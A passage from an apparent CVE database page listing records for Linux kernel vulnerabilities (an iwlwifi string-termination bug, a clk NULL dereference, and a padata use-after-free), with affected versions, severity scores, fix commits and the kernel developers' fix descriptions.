      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "affected",
                "version": "a9248de42464"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "affected",
                "version": "5.5"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:a:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "unaffected",
                "version": "0"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:a:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "unaffected",
                "version": "5.10.214"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:a:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "unaffected",
                "version": "5.15.153"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:a:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "unaffected",
                "version": "6.1.83"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:a:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "unaffected",
                "version": "6.6.23"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "unaffected",
                "version": "6.7.11"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "unaffected",
                "version": "6.8.2"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "unaffected",
                "version": "6.9"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 9.1,
              "baseSeverity": "CRITICAL",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-35845",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-17T17:22:01.418573Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-134",
                "description": "CWE-134 Use of Externally-Controlled Format String",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-01-16T21:19:05.842Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:48.557Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/fabe2db7de32a881e437ee69db32e0de785a6209"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/96aa40761673da045a7774f874487cdb50c6a2f7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c855a1a5b7e3de57e6b1b29563113d5e3bfdb89a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/783d413f332a3ebec916664b366c28f58147f82c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/fec14d1cdd92f340b9ba2bd220abf96f9609f2a9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/71d4186d470e9cda7cd1a0921b4afda737c6f641"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ea1d166fae14e05d49ffb0ea9fcd4658f8d3dcea"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:15.312Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/intel/iwlwifi/iwl-dbg-tlv.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "fabe2db7de32a881e437ee69db32e0de785a6209",
              "status": "affected",
              "version": "a9248de42464e546b624e3fc6a8b04b991af3591",
              "versionType": "git"
            },
            {
              "lessThan": "96aa40761673da045a7774f874487cdb50c6a2f7",
              "status": "affected",
              "version": "a9248de42464e546b624e3fc6a8b04b991af3591",
              "versionType": "git"
            },
            {
              "lessThan": "c855a1a5b7e3de57e6b1b29563113d5e3bfdb89a",
              "status": "affected",
              "version": "a9248de42464e546b624e3fc6a8b04b991af3591",
              "versionType": "git"
            },
            {
              "lessThan": "783d413f332a3ebec916664b366c28f58147f82c",
              "status": "affected",
              "version": "a9248de42464e546b624e3fc6a8b04b991af3591",
              "versionType": "git"
            },
            {
              "lessThan": "fec14d1cdd92f340b9ba2bd220abf96f9609f2a9",
              "status": "affected",
              "version": "a9248de42464e546b624e3fc6a8b04b991af3591",
              "versionType": "git"
            },
            {
              "lessThan": "71d4186d470e9cda7cd1a0921b4afda737c6f641",
              "status": "affected",
              "version": "a9248de42464e546b624e3fc6a8b04b991af3591",
              "versionType": "git"
            },
            {
              "lessThan": "ea1d166fae14e05d49ffb0ea9fcd4658f8d3dcea",
              "status": "affected",
              "version": "a9248de42464e546b624e3fc6a8b04b991af3591",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/intel/iwlwifi/iwl-dbg-tlv.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.5"
            },
            {
              "lessThan": "5.5",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: iwlwifi: dbg-tlv: ensure NUL termination\n\nThe iwl_fw_ini_debug_info_tlv is used as a string, so we must\nensure the string is terminated correctly before using it."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:12:15.194Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/fabe2db7de32a881e437ee69db32e0de785a6209"
        },
        {
          "url": "https://git.kernel.org/stable/c/96aa40761673da045a7774f874487cdb50c6a2f7"
        },
        {
          "url": "https://git.kernel.org/stable/c/c855a1a5b7e3de57e6b1b29563113d5e3bfdb89a"
        },
        {
          "url": "https://git.kernel.org/stable/c/783d413f332a3ebec916664b366c28f58147f82c"
        },
        {
          "url": "https://git.kernel.org/stable/c/fec14d1cdd92f340b9ba2bd220abf96f9609f2a9"
        },
        {
          "url": "https://git.kernel.org/stable/c/71d4186d470e9cda7cd1a0921b4afda737c6f641"
        },
        {
          "url": "https://git.kernel.org/stable/c/ea1d166fae14e05d49ffb0ea9fcd4658f8d3dcea"
        }
      ],
      "title": "wifi: iwlwifi: dbg-tlv: ensure NUL termination",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35845",
    "datePublished": "2024-05-17T14:40:12.134Z",
    "dateReserved": "2024-05-17T13:50:33.105Z",
    "dateUpdated": "2026-05-12T11:52:15.312Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-27038 (GCVE-0-2024-27038)

Vulnerability from cvelistv5 – Published: 2024-05-01 12:53 – Updated: 2026-05-12 11:51

Title

clk: Fix clk_core_get NULL dereference

Summary

In the Linux kernel, the following vulnerability has been resolved: clk: Fix clk_core_get NULL dereference It is possible for clk_core_get to dereference a NULL in the following sequence: clk_core_get() of_clk_get_hw_from_clkspec() __of_clk_get_hw_from_provider() __clk_get_hw() __clk_get_hw() can return NULL which is dereferenced by clk_core_get() at hw->core. Prior to commit dde4eff47c82 ("clk: Look for parents with clkdev based clk_lookups") the check IS_ERR_OR_NULL() was performed which would have caught the NULL. Reading the description of this function it talks about returning NULL but that cannot be so at the moment. Update the function to check for hw before dereferencing it and return NULL if hw is NULL.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/d7ae7d1265686b558…
https://git.kernel.org/stable/c/239174535dba11f7b…
https://git.kernel.org/stable/c/0efb9ef6fb95384ba…
https://git.kernel.org/stable/c/a8b2b26fdd011ebe3…
https://git.kernel.org/stable/c/a5d9b1aa61b401867…
https://git.kernel.org/stable/c/c554badcae9c45b73…
https://git.kernel.org/stable/c/6f073b24a9e2becd2…
https://git.kernel.org/stable/c/e97fe4901e0f59a0b…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: dde4eff47c82c52a72af333d9e55370eee6d95d6 , < d7ae7d1265686b55832a445b1db8cdd69738ac07 (git) Affected: dde4eff47c82c52a72af333d9e55370eee6d95d6 , < 239174535dba11f7b83de0eaaa27909024f8c185 (git) Affected: dde4eff47c82c52a72af333d9e55370eee6d95d6 , < 0efb9ef6fb95384ba631d6819e66f10392aabfa2 (git) Affected: dde4eff47c82c52a72af333d9e55370eee6d95d6 , < a8b2b26fdd011ebe36d68a9a321ca45801685959 (git) Affected: dde4eff47c82c52a72af333d9e55370eee6d95d6 , < a5d9b1aa61b401867b9066d54086b3e4ee91f8ed (git) Affected: dde4eff47c82c52a72af333d9e55370eee6d95d6 , < c554badcae9c45b737a22d23454170c6020b90e6 (git) Affected: dde4eff47c82c52a72af333d9e55370eee6d95d6 , < 6f073b24a9e2becd25ac4505a9780a87e621bb51 (git) Affected: dde4eff47c82c52a72af333d9e55370eee6d95d6 , < e97fe4901e0f59a0bfd524578fe3768f8ca42428 (git)
Linux	Linux	Affected: 5.2 Unaffected: 0 , < 5.2 (semver) Unaffected: 5.4.273 , ≤ 5.4.* (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-27038",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-01T13:38:53.856287Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-05T17:22:44.741Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.879Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d7ae7d1265686b55832a445b1db8cdd69738ac07"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/239174535dba11f7b83de0eaaa27909024f8c185"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0efb9ef6fb95384ba631d6819e66f10392aabfa2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a8b2b26fdd011ebe36d68a9a321ca45801685959"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a5d9b1aa61b401867b9066d54086b3e4ee91f8ed"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c554badcae9c45b737a22d23454170c6020b90e6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6f073b24a9e2becd25ac4505a9780a87e621bb51"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e97fe4901e0f59a0bfd524578fe3768f8ca42428"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:15.740Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/clk/clk.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d7ae7d1265686b55832a445b1db8cdd69738ac07",
              "status": "affected",
              "version": "dde4eff47c82c52a72af333d9e55370eee6d95d6",
              "versionType": "git"
            },
            {
              "lessThan": "239174535dba11f7b83de0eaaa27909024f8c185",
              "status": "affected",
              "version": "dde4eff47c82c52a72af333d9e55370eee6d95d6",
              "versionType": "git"
            },
            {
              "lessThan": "0efb9ef6fb95384ba631d6819e66f10392aabfa2",
              "status": "affected",
              "version": "dde4eff47c82c52a72af333d9e55370eee6d95d6",
              "versionType": "git"
            },
            {
              "lessThan": "a8b2b26fdd011ebe36d68a9a321ca45801685959",
              "status": "affected",
              "version": "dde4eff47c82c52a72af333d9e55370eee6d95d6",
              "versionType": "git"
            },
            {
              "lessThan": "a5d9b1aa61b401867b9066d54086b3e4ee91f8ed",
              "status": "affected",
              "version": "dde4eff47c82c52a72af333d9e55370eee6d95d6",
              "versionType": "git"
            },
            {
              "lessThan": "c554badcae9c45b737a22d23454170c6020b90e6",
              "status": "affected",
              "version": "dde4eff47c82c52a72af333d9e55370eee6d95d6",
              "versionType": "git"
            },
            {
              "lessThan": "6f073b24a9e2becd25ac4505a9780a87e621bb51",
              "status": "affected",
              "version": "dde4eff47c82c52a72af333d9e55370eee6d95d6",
              "versionType": "git"
            },
            {
              "lessThan": "e97fe4901e0f59a0bfd524578fe3768f8ca42428",
              "status": "affected",
              "version": "dde4eff47c82c52a72af333d9e55370eee6d95d6",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/clk/clk.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.2"
            },
            {
              "lessThan": "5.2",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.273",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.273",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nclk: Fix clk_core_get NULL dereference\n\nIt is possible for clk_core_get to dereference a NULL in the following\nsequence:\n\nclk_core_get()\n    of_clk_get_hw_from_clkspec()\n        __of_clk_get_hw_from_provider()\n            __clk_get_hw()\n\n__clk_get_hw() can return NULL which is dereferenced by clk_core_get() at\nhw-\u003ecore.\n\nPrior to commit dde4eff47c82 (\"clk: Look for parents with clkdev based\nclk_lookups\") the check IS_ERR_OR_NULL() was performed which would have\ncaught the NULL.\n\nReading the description of this function it talks about returning NULL but\nthat cannot be so at the moment.\n\nUpdate the function to check for hw before dereferencing it and return NULL\nif hw is NULL."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:09:13.165Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d7ae7d1265686b55832a445b1db8cdd69738ac07"
        },
        {
          "url": "https://git.kernel.org/stable/c/239174535dba11f7b83de0eaaa27909024f8c185"
        },
        {
          "url": "https://git.kernel.org/stable/c/0efb9ef6fb95384ba631d6819e66f10392aabfa2"
        },
        {
          "url": "https://git.kernel.org/stable/c/a8b2b26fdd011ebe36d68a9a321ca45801685959"
        },
        {
          "url": "https://git.kernel.org/stable/c/a5d9b1aa61b401867b9066d54086b3e4ee91f8ed"
        },
        {
          "url": "https://git.kernel.org/stable/c/c554badcae9c45b737a22d23454170c6020b90e6"
        },
        {
          "url": "https://git.kernel.org/stable/c/6f073b24a9e2becd25ac4505a9780a87e621bb51"
        },
        {
          "url": "https://git.kernel.org/stable/c/e97fe4901e0f59a0bfd524578fe3768f8ca42428"
        }
      ],
      "title": "clk: Fix clk_core_get NULL dereference",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-27038",
    "datePublished": "2024-05-01T12:53:53.698Z",
    "dateReserved": "2024-02-19T14:20:24.212Z",
    "dateUpdated": "2026-05-12T11:51:15.740Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21727 (GCVE-0-2025-21727)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:07 – Updated: 2026-05-12 12:03

Title

padata: fix UAF in padata_reorder

Summary

In the Linux kernel, the following vulnerability has been resolved: padata: fix UAF in padata_reorder A bug was found when run ltp test: BUG: KASAN: slab-use-after-free in padata_find_next+0x29/0x1a0 Read of size 4 at addr ffff88bbfe003524 by task kworker/u113:2/3039206 CPU: 0 PID: 3039206 Comm: kworker/u113:2 Kdump: loaded Not tainted 6.6.0+ Workqueue: pdecrypt_parallel padata_parallel_worker Call Trace: <TASK> dump_stack_lvl+0x32/0x50 print_address_description.constprop.0+0x6b/0x3d0 print_report+0xdd/0x2c0 kasan_report+0xa5/0xd0 padata_find_next+0x29/0x1a0 padata_reorder+0x131/0x220 padata_parallel_worker+0x3d/0xc0 process_one_work+0x2ec/0x5a0 If 'mdelay(10)' is added before calling 'padata_find_next' in the 'padata_reorder' function, this issue could be reproduced easily with ltp test (pcrypt_aead01). This can be explained as bellow: pcrypt_aead_encrypt ... padata_do_parallel refcount_inc(&pd->refcnt); // add refcnt ... padata_do_serial padata_reorder // pd while (1) { padata_find_next(pd, true); // using pd queue_work_on ... padata_serial_worker crypto_del_alg padata_put_pd_cnt // sub refcnt padata_free_shell padata_put_pd(ps->pd); // pd is freed // loop again, but pd is freed // call padata_find_next, UAF } In the padata_reorder function, when it loops in 'while', if the alg is deleted, the refcnt may be decreased to 0 before entering 'padata_find_next', which leads to UAF. As mentioned in [1], do_serial is supposed to be called with BHs disabled and always happen under RCU protection, to address this issue, add synchronize_rcu() in 'padata_free_shell' wait for all _do_serial calls to finish. [1] https://lore.kernel.org/all/20221028160401.cccypv4euxikusiq@parnassus.localdomain/ [2] https://lore.kernel.org/linux-kernel/jfjz5d7zwbytztackem7ibzalm5lnxldi2eofeiczqmqs2m7o6@fq426cwnjtkm/

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/f78170bee51469734…
https://git.kernel.org/stable/c/f3e0b9f790f8e8065…
https://git.kernel.org/stable/c/0ae2f332cfd2d74cf…
https://git.kernel.org/stable/c/bbccae982e9fa1d7a…
https://git.kernel.org/stable/c/573ac9c70bf7885dc…
https://git.kernel.org/stable/c/80231f069240d52e9…
https://git.kernel.org/stable/c/e01780ea466117273…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: b128a30409356df65f1a51cff3eb986cac8cfedc , < f78170bee51469734b1a306a74fc5f777bb22ba6 (git) Affected: b128a30409356df65f1a51cff3eb986cac8cfedc , < f3e0b9f790f8e8065d59e67b565a83154d9f3079 (git) Affected: b128a30409356df65f1a51cff3eb986cac8cfedc , < 0ae2f332cfd2d74cf3ce344ec9938cf3e29c3ccd (git) Affected: b128a30409356df65f1a51cff3eb986cac8cfedc , < bbccae982e9fa1d7abcb23a5ec81cb0ec883f7de (git) Affected: b128a30409356df65f1a51cff3eb986cac8cfedc , < 573ac9c70bf7885dc85d82fa44550581bfc3b738 (git) Affected: b128a30409356df65f1a51cff3eb986cac8cfedc , < 80231f069240d52e98b6a317456c67b2eafd0781 (git) Affected: b128a30409356df65f1a51cff3eb986cac8cfedc , < e01780ea4661172734118d2a5f41bc9720765668 (git)
Linux	Linux	Affected: 5.4 Unaffected: 0 , < 5.4 (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.76 , ≤ 6.6.* (semver) Unaffected: 6.12.13 , ≤ 6.12.* (semver) Unaffected: 6.13.2 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-21727",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-02-27T17:58:06.104597Z",
